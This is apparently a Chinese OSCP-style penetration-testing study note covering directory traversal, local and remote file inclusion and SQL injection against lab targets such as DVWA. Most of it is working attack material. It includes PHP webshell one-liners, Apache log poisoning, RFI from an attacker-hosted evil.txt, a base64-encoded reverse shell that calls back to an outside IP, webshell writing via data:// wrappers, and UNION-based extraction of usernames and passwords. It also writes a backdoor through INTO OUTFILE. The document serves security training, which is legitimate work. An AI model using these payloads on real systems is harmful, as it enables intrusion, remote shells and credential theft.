Day27 目录遍历、文件包含与SQL注入漏洞
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
目录遍历漏洞(Directory Traversal Vulnerabilities)
目录遍历漏洞,也称为路径遍历漏洞,允许攻击者未经授权访问应用程序内的文件,或访问通常无法通过 Web 接口访问的文件(例如 Web 根目录之外的文件)。当输入验证不当时,就会出现此漏洞,从而使攻击者能够使用”../“或”..”字符来操控文件路径。
这些攻击可能会暴露敏感信息,但==不会在应用程序服务器上执行代码==。在某些用特定编程语言编写的应用程序服务器上,目录遍历攻击可用于帮助促成文件包含攻击。尽管识别这两类漏洞的技术有所重叠,但它们的最终结果不同。
识别和利用目录遍历
搜索目录遍历漏洞始于检查 URL 查询字符串和表单主体,寻找看似文件引用的值,最常见的迹象是 URL 查询字符串中的文件扩展名。
一旦识别出一些可能的候选参数,我们就可以修改这些值,尝试引用系统上任何用户都应可读的文件,例如 Linux 上的 /etc/passwd或 Windows 上的 c:\boot.ini。
让我们回到 Windows 10 实验机上的示例应用程序来演示此漏洞。请确保在继续之前已启动 Apache 和 MySQL。
从主 Web 索引页面,点击”Menu”显示示例菜单:
点击”Menu”链接后,URL 会更新并包含一个名为 file的参数,其值为”current_menu.php”。参数值中出现文件扩展名通常是一个很好的迹象,表明我们应该进一步调查,因为它暗示正在从其他资源包含文本或代码。大多数目录遍历漏洞并不如此明显,但有相当数量的旧版 PHP 应用程序以类似方式加载页面。

在不知道代码具体实现的情况下,我们可以通过更改 file参数的值开始试探。如果我们将”current_menu.php”更改为”old.php”之类的值,我们会得到一个错误而不是菜单:
请注意,错误消息表明服务器未能打开要包含的文件,并返回了完整的文件路径。这表明我们很可能可以通过操纵 file参数来控制页面中呈现的内容。如果我们之前不知道目标是 Windows 主机,这个错误消息也会泄露这一点。它还包含了应用程序的源目录信息。操作系统信息在利用目录遍历漏洞时至关重要。
由于我们知道应用程序运行在 Windows 系统上,让我们更新我们的载荷,以 Windows 的 hosts 文件为目标。在 Windows 系统上,这是一个有用的目标文件,因为它稳定可靠且任何用户都可访问。
让我们将参数值更改为 c:\windows\system32\drivers\etc\hosts并提交 URL:

练习
- 利用该目录遍历漏洞,读取你的靶机上的任意文件。
这里使用dvwa靶场来演示
找到?page=的注入点后就尝试输入page=../../../../../etc/passwd就能目录遍历到根目录读取用户配置文件。这里输入多个../是为了利用Linux的特性,../表示回到上一级目录。因为此时我们不知道这个网页的php在Linux系统中的哪个目录,用多个../能确保返回到根目录/然后再从根目录访问文件的绝对目录。
这个靶场的特性没有过滤/字符,所以直接输入page=/etc/passwd也是能访问成功的。登录到靶机的docker环境中可以看到etc下面有这些文件(做参考),比较有用的就是passwd, hosts, hostname, shadow 等,这几个文件一般在Linux服务器上都普遍存在,其中要注意的是shadow文件可能因为权限问题无法读取,需要提权后再读。
找到dvwa靶场的网页文件,发现除了页面上展示的1,2,3文件,还有一个file4.php 文件
在页面上访问可以看到4的内容,提示我们这个就算是找到靶场的隐藏文件了。
值得注意的是,靶场对file4.php的内容是直接渲染的,渲染成php文件在页面中。
而对其他文件,etc/passwd 和根目录下一个.sh 文件则是直接显示文字内容,没有渲染也没有执行sh的命令。
这是因为这个靶场演示的还是文件包含,文件包含与目录遍历的区别就是文件包含能够直接执行或者渲染文件要做的内容,而目录遍历只能看看。通常,如果找到一个目录遍历的洞之后,配合文件上传之类的漏洞上传了一句话木马发现木马执行不成功,或者在蚁剑中怎么也连不上,就要考虑这个注入点只是目录遍历而没有文件包含,文件==只是作为文字内容显示,而不能执行其内容==。此时就要考虑在找找有没有文件包含的洞,让上传的马跑起来。

文件包含漏洞(File Inclusion Vulnerabilities)
与仅显示文件内容的目录遍历不同,文件包含漏洞允许攻击者将文件包含到应用程序的运行代码中。要真正利用文件包含漏洞,我们不仅需要能够执行代码,还必须能够将shell载荷写入某个地方。
本地文件包含(LFI Local File Inclusion) 发生在被包含的文件从同一Web服务器加载时。
远程文件包含(RFI Remote File Inclusion) 发生在从外部源加载文件时。这些漏洞通常出现在PHP应用程序中,但也可能出现在其他编程语言中。
这些漏洞的利用取决于应用程序编写的编程语言和服务器配置。对于PHP来说,语言运行时的版本和Web服务器配置,特别是php.ini中的值(如register_globals和allow_url_wrappers),对这些漏洞的利用方式有着重大影响。
请注意,目录遍历漏洞通常与LFI结合使用,特别是用于指定LFI载荷中使用的文件。
识别文件包含漏洞
文件包含漏洞的发现方式与目录遍历相同。我们必须找到可以操纵的参数,并尝试使用它们来加载任意文件。然而,文件包含更进一步,我们尝试在应用程序中==执行文件的内容==。
我们还应该检查这些参数是否容易受到远程包含(RFI)的攻击,方法是将它们的值更改为URL而不是本地路径。由于现代PHP版本的默认配置禁用了远程URL包含(这是执行远程代码所需的关键功能),我们不太可能找到RFI漏洞。然而,我们仍应测试RFI,因为它们通常比LFI更容易利用。
我们可以使用Netcat、Apache或Python来处理请求,就像我们在XSS中所做的那样。我们可能需要尝试在不同端口上托管载荷,因为目标服务器发起的任何远程连接都可能受到内部防火墙或路由规则的限制。可能需要一些试错。
利用本地文件包含(LFI)
一个示例应用程序,我们将从目录遍历攻击中断的地方继续,查看menu.php的源代码以明确我们正在处理的内容:
<?php
$file = $_GET["file"];
include $file; ?>应用程序从请求查询字符串中读取file参数,然后将该值与include语句一起使用。这意味着应用程序将执行指定文件中的任何PHP代码。如果应用程序使用fread打开文件并使用echo显示内容,文件中的任何代码都将被显示而不是执行。
如果我们能够以某种方式将PHP代码写入本地文件,我们可能能够将此漏洞推进到远程代码执行。由于我们无法将文件上传到服务器,我们有哪些选择?
污染日志文件
我们可以尝试通过日志文件投毒将代码注入服务器。大多数应用服务器会记录所有请求的URL。我们可以利用这一点,提交包含PHP代码的请求。一旦请求被记录,我们就可以在LFI载荷中使用日志文件。
首先,注意整个载荷是用PHP编写的:它以<?php开始,以?>结束。PHP载荷的主体是一个简单的echo命令,它将输出打印到页面。这个输出首先被包裹在<pre> HTML标签中,这些标签保留结果中的任何换行符或格式。接下来是函数调用本身,shell_exec,它将执行操作系统命令。最后,操作系统命令通过_GET['cmd']从GET请求的”cmd”参数中检索。这一行PHP代码将允许我们通过查询字符串指定操作系统命令,并在浏览器中输出结果。
现在让我们发送该载荷:
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
HTTP/1.1 400 Bad Request尽管出现”Bad Request”错误(因为我们没有发出有效的HTTP请求),我们可以通过检查Windows 10实验机器上的Apache日志文件来验证请求已提交。
我们可以通过打开apache\logs\access.log或使用XAMPP控制面板(Windows)来查看这些日志。
我们的载荷应该在日志文件末尾附近找到:
10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
"GET /css/bootstrap.min.css HTTP/1.1" 200 155758 "http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] "GET /tacotruck.php HTTP/1.1" 200 1189 "http://10.11.0.22/menu.php?file=/" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] ""<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>\n" 400 981 "-" "-"由于我们的载荷已被记录,我们可以尝试LFI执行。
LFI代码执行
接下来,我们将使用LFI漏洞来包含包含我们PHP载荷的Apache access.log文件。我们知道应用程序正在使用include语句,因此包含文件的内容将作为PHP代码执行。
我们将构建一个URL,其中包括日志的位置以及要执行的命令(ipconfig)作为cmd参数的值:
http://10.11.0.22/menu.php?file=\path\apache\logs\access.log&cmd=ipconfig一旦URL发送到Web服务器,输出应该如下所示:
如果一切按预期工作,页面底部应该包括ipconfig的输出。
那么到底发生了什么?由于应用程序的PHP include语句和我们指定要包含哪个文件的能力,被污染的access.log文件的内容被网页执行了。
PHP引擎反过来运行日志文件文本中的<?php echo shell_exec($_GET['cmd']);?>部分(我们的载荷),cmd变量的值为”ipconfig”,本质上在目标上运行ipconfig并显示输出。日志文件中的其他行只是被显示,因为它们不包含有效的PHP代码。
练习
- 通过使用LFI攻击获得代码执行
- 使用代码执行获得完整的shell
日志文件污染的方法,但是这个dvwa没成功,所以这次用靶场的文件上传功能演示LFI。

远程文件包含(RFI)
远程文件包含(RFI)漏洞不如LFI常见,因为服务器必须以非常特定的方式配置,但它们通常更容易利用。例如,PHP应用程序必须将allow_url_include设置为”On”。旧版本的PHP默认开启此选项,但较新版本默认为”Off”。如果我们可以强制Web应用程序加载远程文件并执行代码,我们在创建利用载荷方面就有更多的灵活性。

让我们看一个RFI漏洞的例子。之前演示的LFI漏洞也容易受到RFI攻击。考虑以下情况:
http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt这个请求将强制PHP Web服务器尝试从我们的Kali攻击机器包含一个远程文件。我们可以通过在Kali机器上启动netcat监听器来测试这一点,然后在Windows 10目标上提交URL:
kali@kali:~$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50324
GET /evil.txt HTTP/1.0
Host: 10.11.0.4
Connection: close输出显示,当提交URL时,Windows 10机器确实连接到我们的Kali机器,试图检索evil.txt文件。如果文件被检索到,它将进一步尝试包含并执行它。
虽然这是一个简单的例子,但URL是有效的,过程是有效的,本质上允许我们加载并执行托管在远程Web服务器上的任何文件。
RFI技巧
空字节绕过:旧版本的PHP存在一个漏洞,其中空字节(%00)将终止任何字符串。这个技巧可用于绕过服务器端添加的文件扩展名,对文件包含很有用,因为它防止文件扩展名被视为字符串的一部分。换句话说,如果应用程序读取参数并向其追加”.php”,在参数中传递的空字节有效地结束字符串而不带”.php”扩展名。这使攻击者在文件包含漏洞中可以加载的文件方面具有更大的灵活性。 问号技巧:RFI载荷的另一个技巧是以问号(?)结尾,将服务器端添加到URL的任何内容标记为查询字符串的一部分。
要查看实际效果,我们可以设置Apache服务器来托管恶意的evil.txt文件,其中包含我们在日志投毒攻击中使用的相同PHP命令shell。创建文件后,我们将快速重启Apache:
kali@kali:/var/www/html$ cat evil.txt
<?php echo shell_exec($_GET['cmd']); ?>
kali@kali:/var/www/html$ sudo systemctl restart apache2一旦文件就位且我们的Web服务器正在运行,我们可以将RFI攻击URL发送到Windows 10机器上的易受攻击的Web应用程序,看看我们的代码是否执行:
http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&cmd=ipconfig
Webshell说明
Webshell是一小段软件,提供基于Web的命令行界面,使执行命令更容易、更方便。webshell有很多类型,Kali在/usr/share/webshells中包含了几个,用多种常见的Web应用程序编程语言编写。与往常一样,在使用这些文件之前请查看其内容。基于这些简单示例的成功,我们可以使用Apache(或其他HTTP服务器)为RFI托管这些shell,扩展我们的能力。
现在我们可以在服务器上执行代码,借助Kali Linux附带的webshell,从代码执行到获得shell应该是一件简单的事情。
练习
- 利用Web应用程序中的RFI漏洞并获得shell
- 使用Kali附带的webshell之一在Windows 10目标上获得shell
Kali 自带了一些php反弹的代码,只要使用下面的命令搜索复制到当前文件夹,然后修改ip和端口,在kali上启动一个简单的http服务,确保ip地址可以访问,靶机的all_url_include选项开启,就可以直接访问kali上的php弹回shell了
cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.141';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php
python -m http.server
rlwrap -cAr nc -nlvp 4777
# 网页访问
http://192.168.224.1:8888/vulnerabilities/fi/?page=http://172.168.169.141:8000/php-reverse-shell.php
扩展你的技能库
既然我们已经了解了基础知识,让我们看看扩展技能库的一些方法。
首先,让我们看看一些Apache的替代方案。
Kali包含几个可以创建HTTP服务器的工具。如果我们需要在任意端口上快速建立HTTP服务器,这特别有用。
注意:以下示例使用注册端口,但如果我们以root用户权限运行命令,我们也可以在系统端口上运行服务器。
HTTP服务器替代方案
Python 2.x
例如,我们可以在Python 2.x中在任意端口上启动HTTP服务器,通过设置-m SimpleHTTPServer来设置所需的模块,7331来设置TCP端口:
kali@kali:~$ python -m SimpleHTTPServer 7331
Serving HTTP on 0.0.0.0 port 7331 ...Python 3.x
Python 3.x的语法略有不同,因为模块名称不同:
kali@kali:~$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...这两个命令都将启动HTTP服务器,并从当前工作路径托管任何文件或目录。
PHP
PHP包含一个内置的Web服务器,可以使用-S标志后跟要使用的地址和端口来启动:
kali@kali:~$ php -S 0.0.0.0:8000
PHP 7.3.8-1 Development Server started at Wed Aug 28 12:59:52 2019
Listening on http://0.0.0.0:8000
Document root is /home/kali
Press Ctrl-C to quit.Ruby
我们还可以使用Ruby”一行命令”启动HTTP服务器。该命令需要几个标志,包括:
-run:加载un.rb,其中包含常见Unix命令的替代品-e httpd:运行HTTP服务器.:从当前目录提供内容-p 9000:设置TCP端口
kali@kali:~$ ruby -run -e httpd . -p 9000
[2019-08-28 12:44:14] INFO WEBrick 1.4.2
[2019-08-28 12:44:14] INFO ruby 2.5.5 (2019-03-15) [x86_64-linux-gnu]
[2019-08-28 12:44:14] INFO WEBrick::HTTPServer#start: pid=1367 port=9000BusyBox
我们还可以使用busybox(“嵌入式Linux的瑞士军刀”)运行HTTP服务器:
httpd:作为函数-f:交互式运行-p 10000:在TCP端口10000上运行
kali@kali:~$ busybox httpd -f -p 10000要停止任何这些服务器,我们只需按下Ctrl+C。
PHP包装器
PHP提供了几个协议包装器(protocol wrappers),我们可以使用它们来利用目录遍历和本地文件包含漏洞。这些过滤器在尝试通过LFI漏洞注入PHP代码时为我们提供了额外的灵活性。
我们可以使用data包装器将内联数据嵌入为URL的一部分,使用明文或base64编码的数据。当我们无法用PHP代码污染本地文件时,此包装器为我们提供了替代载荷。
使用Data包装器
让我们仔细看看如何使用data包装器。我们以”data:“开始,后跟数据类型。在这种情况下,我们将使用”text/plain”表示明文。接下来是逗号,标记内容的开始,在本例中是”hello world”。当我们把它们放在一起时,我们得到”data
/plain,hello world”。我们已经知道菜单页面容易受到LFI攻击。如果我们使用data包装器提交载荷,应用程序应该将其视为常规文件并将其包含在页面中。让我们通过提交以下URL并检查结果来验证这是否有效:
http://10.11.0.22/menu.php?file=data:text/plain,hello world
正如预期的那样,应用程序将data包装器视为文件并将其包含在页面中,显示我们的”hello world”字符串。
使用Data包装器执行PHP代码
既然明文data包装器有效,让我们看看我们能走多远。我们知道这个页面上存在LFI漏洞,之前的例子证明我们可以使用data包装器注入内容。让我们用一些PHP代码替换”hello world”,看看它是否执行。我们将使用shell_exec运行dir命令,包裹在PHP标签中。那么,URL看起来像这样:
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
我们在data包装器中包含的PHP代码在服务器端执行,生成了目录列表。我们现在可以在不操纵任何本地文件的情况下利用LFI。
练习
- 使用PHP包装器利用LFI漏洞
- 使用PHP包装器在Windows 10实验机器上获得shell
# 测试命令可用
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20echo%20shell_exec(%22whoami%22)%20?%3E
# 检查可用的命令
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20echo%20shell_exec(%22which%20bash%20sh%20python%20perl%20nc%20netcat%22);%20?%3E
----
/bin/bash /bin/sh /usr/bin/perl
# 检查PHP禁用函数
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,<?php echo ini_get("disable_functions"); ?>
# 查看phpinfo
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20phpinfo();%20?%3E
# 读取源码
http://192.168.224.1:8888/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php
方法1 反弹shell
使用更简单但正确的反向Shell 创建简化版(一次性URL)
cat > simple_shell.php << 'EOF'
<?php
$sock=fsockopen("172.168.169.141",4777);
$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
EOF
base64 -w 0 simple_shell.php
PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo=
# 网页访问
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo=
方法2:写入shell后LFI
# 查看目录
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%22ls%20-la%20/var/www/html/vulnerabilities/fi/%22);%20?%3E
# 写入shell
http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,<?php file_put_contents("shell.php","<?php system(\$_GET['c']); ?>"); ?>
http://192.168.224.1:8888/vulnerabilities/fi/shell.php?c=id

Sql注入
SQL 注入是一种常见的 Web 应用程序漏洞,它是由于未经过滤的用户输入被插入到查询中,然后传递给数据库执行而造成的。查询用于与数据库交互,例如插入或检索数据。如果我们可以注入恶意输入到查询中,我们就能”突破”开发人员编写的原始查询,并引入我们自己的恶意操作。这类漏洞可能导致数据库信息泄露,根据环境的不同,可能导致服务器完全被攻陷。
在本节中,我们将在 PHP/MariaDB 环境下研究 SQL 注入攻击。虽然不同环境的概念是相同的,但在攻击过程中使用的语法可能需要更新,以适应不同的数据库引擎或脚本语言。
注意: MariaDB 与 MySQL 非常相似。实际上,它起源于 MySQL 的一个分支。虽然存在一些细微差别,但大多数差别对攻击者来说并不重要。
基本 SQL 语法
结构化查询语言(SQL)是用于与关系数据库交互的主要语言。虽然 SQL 有标准语法,但大多数数据库软件包都有实现上的变化。然而,基础语法通常是相同的。让我们先了解一些基本的 SQL 概念和语法,然后再进行漏洞利用。
关系数据库由一个或多个表组成,每个表有一个或多个列。表中的每个条目称为行。
在大多数情况下,我们将处理查询。查询是对数据库引擎的指令,我们使用它们来检索或操作数据库中的数据。SELECT 查询是最基本的交互:
SELECT * FROM users;
我们可以将列表查询解释为”显示 users 表中的所有列和记录”。SELECT 命令的第一个参数是列,星号是一个特殊字符,表示”所有”。
我们还可以使用 WHERE 子句为查询引入条件子句:
SELECT user FROM users WHERE user_id=1;
我们可以将查询解释为”显示 users 表中的 user 字段,仅显示 id 为 1 的记录”。
这些只是一些基础知识。我们还可以在表中 INSERT(插入)、UPDATE(更新)和 DELETE(删除)数据。我们在这里不会涵盖这些语句,但在展示如何利用 SQL 注入时,我们会根据需要介绍其他 SQL 语法。
识别 SQL 注入漏洞
在寻找 SQL 注入漏洞之前,我们必须首先识别数据可能通过数据库传递的位置。身份验证通常由数据库支持,根据 Web 应用程序的性质,其他区域(包括电子商务网站上的产品或论坛上的消息线程)通常需要数据库交互。
http://192.168.224.1:8888/vulnerabilities/sqli/?id=1&Submit=Submit#
我们可以使用单引号(‘)作为简单检查潜在 SQL 注入漏洞的方法,SQL 使用单引号作为字符串分隔符。如果应用程序没有正确处理这个字符,很可能会导致数据库错误,并可能表明存在 SQL 注入漏洞。知道了这一点,我们通常通过在每个我们怀疑可能将其参数传递给数据库的字段中输入单引号来开始攻击。在进行黑盒测试时,我们需要使用这种试错方法。
如果我们能够访问应用程序的源代码,我们可以检查它是否存在通过字符串连接构建的 SQL 查询。在 PHP 中,这可能看起来像以下内容:
$query = "select * from users where id = '$id';"
如果用户数据以任何方式包含在 SQL 语句中而没有经过清理,发生 SQL 注入的可能性非常高。让我们通过一些例子进一步分析。在正常登录中, 当提交“1”作为查询的要素时,实际在数据库中执行的代码如下所示:
$query = "select * from users where id = '1';"Burp抓包后还可以直接发送到intruder模块配合sql注入字典直接测试。
返回数据比较长的都是注入成功有内容的,可以注入的。

身份验证绕过
身份验证绕过是利用 SQL 注入漏洞的经典示例,展示了恶意用户操纵数据库的危险性。考虑上一节中的代码示例。如果我们能够将自己的代码注入到 SQL 语句中,我们如何能够以有利于我们的方式修改查询?
这是正常的使用场景:合法用户向应用程序提交他们的查询ID,用户名和密码。应用程序使用这些值查询数据库。SQL 语句在 where 子句中使用 and 逻辑运算符。因此,数据库只会返回具有给定用户名和匹配密码的用户记录。
正常的 SQL 查询如下所示:
select * from users where id = '1';如果我们控制作为 $id 传入的值,我们可以通过提交 1' or 1=1;# 作为我们的用户名来破坏查询的逻辑,这将创建如下查询:
select * from users where id = '1' or 1=1;#';井号字符(#)是 MySQL/MariaDB 中的注释标记。它有效地删除了语句的其余部分,所以我们剩下:
select * from users where id = '1' or 1=1;SQL中单引号和井号可以作为注释和分段,所以如果输入万能密码 1 ’ or 1=1;# 的话。
可以看到 1‘ 和原本查询语句开头的 id = ’ 组成了一个完整的语句,而此时又带入了or 后面的内容,为了不让原本的结尾的 ‘;中的引号引起语法错误,使用了#注释掉后面的内容,所以# 号后面被SQL数据库视为注释内容没有执行,所以结尾的引号不会引起报错,而我们又成功执行了 or 1=1;的内容。


我们可以将其解释为”显示id为 1 或 1 等于 1 的用户的所有列和行”。由于”1=1”条件始终评估为真,因此将返回所有行。简而言之,通过引入 or 子句和”1=1”条件,该语句将返回 users 表中的所有记录,创建一个有效的”密码检查”。
这足以绕过身份验证吗?这取决于情况。我们已经操纵查询返回 users 表中的所有记录。应用程序代码决定接下来会发生什么。某些编程语言具有查询数据库并期望单个记录的函数。如果这些函数获得多行,它们将生成错误。其他函数可能可以很好地处理多行。在没有应用程序源代码或使用试错法的情况下,我们无法知道会发生什么。
如果当我们的 payload 返回多行时遇到错误,我们可以使用 LIMIT 语句指示查询返回固定数量的记录:
select * from users where id = '1' or 1=1 LIMIT 1;#
为了试验这些查询及其对数据库的影响,我们可以使用 MySQL 用户名和密码直接连接到 靶机的数据库,并直接执行 SQL 语句:

假如是在登录界面,而我们不知道密码的情况下,可以用这个万能密码和LIMIT语法只返回第一个用户(一般就是admin管理员)的用户名和密码,通过包含”or 1=1 LIMIT 1;“子句并注释掉查询的其余部分来欺骗应用程序让我们进入。我们不确切知道查询的样子,但”or”子句将评估为真,因此会导致查询返回记录。我们将包含”LIMIT”子句以保持简单并仅返回一条记录。我们将在”username”字段中提交我们的 payload,如果我们成功操纵了查询,我们应该获得一个有效的已认证会话。
如何防止 SQL 注入? 一个天真的方法可能是在清理用户输入时删除所有单引号字符。然而,有时单引号应该被视为有效输入,例如姓氏。 最好的方法是使用参数化查询,也称为预处理语句(prepared statements)。此功能允许开发人员在其 SQL 语句中放置参数或占位符。然后将用户输入与语句一起提供,数据库将值绑定到语句,在 SQL 语句代码和数据值之间创建一个分离层。这可以防止用户提供的数据操纵 SQL 代码。大多数主要数据库系统和编程语言都支持预处理语句。
[!note] 注意 下面的内容只作为理论查看,教材部分命令不再适用新的环境。推荐看专题[[sqli-labs 靶场合集 WP|sqli-labs]] 练习,搞懂所有的SQL操作。
枚举数据库
我们还可以使用 SQL 注入攻击来枚举数据库。当我们开始构建更复杂的 SQL 注入 payload 时,我们需要这些信息。例如,如果我们要从列和表中提取数据,我们需要知道列名和表名。这有助于我们执行更精确的数据提取。
这会导致 SQL 语法错误,表明存在潜在的 SQL 注入漏洞。
列数枚举
我们可以向查询添加 order by 子句进行简单枚举。此子句告诉数据库按一列或多列中的值对查询结果进行排序。我们可以在查询中使用列名或列索引。
让我们提交以下 URL:
http://10.11.0.22/debug.php?id=1 order by 1此查询指示数据库根据第一列中的值对结果进行排序。如果查询中至少有一列,则查询有效,页面将正常呈现而不会出错。我们可以提交多个查询,每次递增 order by 子句,直到查询生成错误,表明已超过相关查询返回的最大列数。请记住,查询可以选择表中的所有列或仅选择列的子集。如果我们无法访问源查询,则需要依赖这种试错方法。
由于我们需要任意次数地迭代列号,我们应该使用 Burp Suite 的 Repeater 工具自动化查询。
为此,我们必须首先启动 Burp Suite,关闭 Intercept 并针对我们的 Windows 目标启动 URL。在 Proxy > HTTP history 中,我们应该看到我们想要重复的请求:
接下来,我们将右键单击该请求并选择 Send to Repeater。该请求现在应该显示在 Repeater 选项卡下。

请注意,该请求已进行 URL 编码,并显示为”id=1%20order%20by%201”。这不应影响我们的查询。我们可以点击 Send 提交查询:

响应看起来正常。我们可以使用 Response 窗格下的搜索框搜索”Error”,并验证响应主体中没有匹配项。
接下来,我们可以递增 order_by 子句并再次发送查询,直到收到错误消息。我们可以使用 Response 窗格下的搜索框在响应中突出显示错误:

order by 子句在第三次迭代时产生错误,我们知道查询返回包含2列的结果集。 这和数据库中原本的数据8列不一样,因为网页上只选取了Firstname 和 Surname两列的数据。


理解输出的布局
现在我们知道表中有多少列,我们可以使用此信息通过 UNION 语句提取更多数据。UNION 允许我们向原始查询添加第二个 select 语句,扩展我们的能力,但每个 select 语句必须返回相同数量的列。
根据我们的枚举,我们知道查询选择了2列。但是,网页上只显示两列。我们的下一步是确定显示哪些列。如果我们使用 union 来提取有用的数据,我们希望确保数据将被显示。
我们需要更好地理解我们的输出,以便开始构建有意义的数据库提取。首先,让我们了解一下页面中显示了哪些列。我们将使用 UNION 来做到这一点。我们可以指定字面值,而不是从表中查找值。由于我们有三列,我们将在 payload 中添加”union all select 1, 2”。这个新的 select 语句将返回一行,包含三列,值为 1、2 。我们的 payload 现在是:
http://192.168.224.1:8888/vulnerabilities/sqli/?id=1+union+all+select+1%2C+2&Submit=Submit#
页面显示不同列的位置,如下所示:
我们可以看到第一列未显示,第二列显示在 name 字段中,第三列显示在 Comment 字段中。Comment 字段有更多空间,因此这是我们未来漏洞利用输出的合理位置。
提示: 如果对此有任何不清楚的地方,现在是再次直接连接到数据库并尝试这些查询的好时机。您不需要成为经验丰富的数据库管理员就能利用 SQL 注入,但您对 SQL 和这些查询正在做什么越熟悉,从 SQL 错误消息到成功利用 SQL 注入漏洞就越容易。

从数据库中提取数据
我们现在可以开始从数据库中提取信息。以下示例使用特定于 MariaDB 的命令。但是,大多数其他数据库提供类似的功能,语法略有不同。无论我们针对什么数据库软件,最好了解特定于平台的命令。
例如,要输出 MariaDB 的版本,我们可以使用此 URL:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version这应该在 name 字段中输出”2”,在 comment 字段中输出数据库版本号:
很好。看起来正在工作。接下来,让我们使用此查询输出当前数据库用户:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()此查询显示正在使用 root 用户进行数据库查询:
information_schema 存储有关数据库的信息,如表名和列名。我们可以使用它来获取数据库的布局,以便我们可以制作更好的 payload 来提取敏感数据。查询如下所示:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables这应该输出大量数据,其中大部分引用有关 MariaDB 中默认对象的信息。它还将包括表名,但我们需要滚动浏览输出以找到它们。
users 表看起来特别有趣。让我们针对该表并使用以下查询检索列名:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'这会输出 users 表的所有列名:
我们知道原始查询选择三列,网页显示第二列和第三列。如果我们更新 union payload,我们可以在第二列中显示用户名,在第三列中显示密码。
http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users这将在 name 字段中输出数据库用户名,在 comments 字段中输出密码:
太好了。我们不仅获得了用户名和密码,而且密码都是明文的。我们可以通过登录管理页面来验证这些信息。
我们可以查看源代码来验证我们通过黑盒测试推断出的内容:
36 <?php
37 include "database.php";
38 if (isset($_GET['id'])) {
39 $sql = "SELECT id, name, text FROM feedback WHERE id=". $_GET['id'];
40 $result = $conn->query($sql);
41 if (!$result) {
42 trigger_error('An error occured: ' . $conn->error);
43 } else if ($result->num_rows > 0) {
44 while($row = $result->fetch_assoc()) {
45 echo "<tr><td> " . $row["name"]. "</td><td>" . $row["text"]. "</td></tr>";
46 }
47 } else { echo "No results. Specify an id."; }
48 } else {
49 echo "No results. Specify an id in your URL like ?id=1.";
50 }
51 ?>导致 SQL 注入的易受攻击代码在列表 332 的第 39 行。注入点位于查询末尾的”WHERE”子句中,这使得使用”UNION” payload 变得容易。查询的结果被获取,然后在第 45 行写出以供显示。请注意,虽然查询中包含三列,但只显示其中两列。这就是为什么我们使用第二列和第三列从另一个表中提取数据。
练习
- 使用 SQL 注入枚举数据库的结构。
- 理解如何以及为什么可以从注入的命令中提取数据并将其显示在屏幕上。
- 从数据库中提取所有用户和相关密码。
从 SQL 注入到代码执行
让我们看看能将这个漏洞推进到什么程度。根据操作系统、服务权限和文件系统权限,SQL 注入漏洞可用于读取和写入底层操作系统上的文件。将包含 PHP 代码的精心制作的文件写入 Web 服务器的根目录,然后可以利用它来实现完整的代码执行。
首先,让我们看看是否可以使用 load_file 函数读取文件:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')这应该输出 hosts 文件的内容:
接下来,我们将尝试使用 INTO OUTFILE 函数在服务器的 Web 根目录中创建恶意 PHP 文件。根据我们已经看到的错误消息,我们应该知道 Web 根目录的位置。我们将尝试编写一个简单的 PHP 一行代码,类似于 LFI 示例中使用的代码:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'如果成功,该文件应该放在 Web 根目录中:
